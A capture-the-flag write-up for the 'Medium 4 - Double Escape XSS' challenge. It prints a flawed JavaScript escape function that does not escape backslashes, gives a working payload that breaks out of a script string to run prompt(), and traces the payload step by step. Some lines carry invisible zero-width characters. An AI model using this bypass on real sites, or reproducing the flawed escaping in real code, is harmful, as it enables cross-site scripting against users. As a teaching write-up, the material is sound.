Medium 4 - Double Escape XSS

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: backslash_quote_bypass, double_escape_xss

Summary

Walkthrough of the CUSTOM Web Medium 4 - Double Escape XSS. XSS challenge from the sibearsxss series. The escape function replaces </ with <\/ and " with \", but does not escape backslashes themselves.

Description

XSS challenge from the sibearsxss series. The escape function replaces </ with <\/ and " with \", but does not escape backslashes themselves.

URL: http://109.233.56.90:11659/xss/medium/4

Analysis

Escape function:

 js read-only • copy allowed Copy
function escape(s) {
  s = s.replace(/(?:<\/)/g, '<\\/');
  s = s.replace(/"/g, '\\"');
  return '<script> var foo = "' + s + '"; </script>';
}

Filter breakdown:

1. </ → <\/ — prevents closing </script>
2. " → \" — escapes double quotes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Backslash (\) is NOT escaped! If we send \", then:

1. First replace doesn't trigger (no </)
2. Second replace sees " and adds \ before it
3. Result: \\" — this is an escaped backslash (\\) + closing quote (")

Double-escape trick:

• Input: \"
• After s.replace(/"/g, '\\"'): \\"
• In JS: \\ = literal backslash, " = closes the string

Solution

Using a backslash before the quote to bypass escaping:

Payload:

\";prompt('sibears')//

Step-by-step processing:

1. Input: \";prompt('sibears')//
2. After first replace (no </): \";prompt('sibears')//
3. After second replace (" → \"): \\";prompt('sibears')//
4. Result in HTML:

    html read-only • copy allowed Copy
   <script> var foo = "\\";prompt('sibears')//"; </script>

5. JS interpretation:
   • var foo = "\\" — string contains one backslash
   • ; — end of statement
   • prompt('sibears') — XSS executes
   • //"; — commented out ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering backslash_quote_bypass, double_escape_xss was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Medium 4 - Double Escape XSS • Difficulty: Medium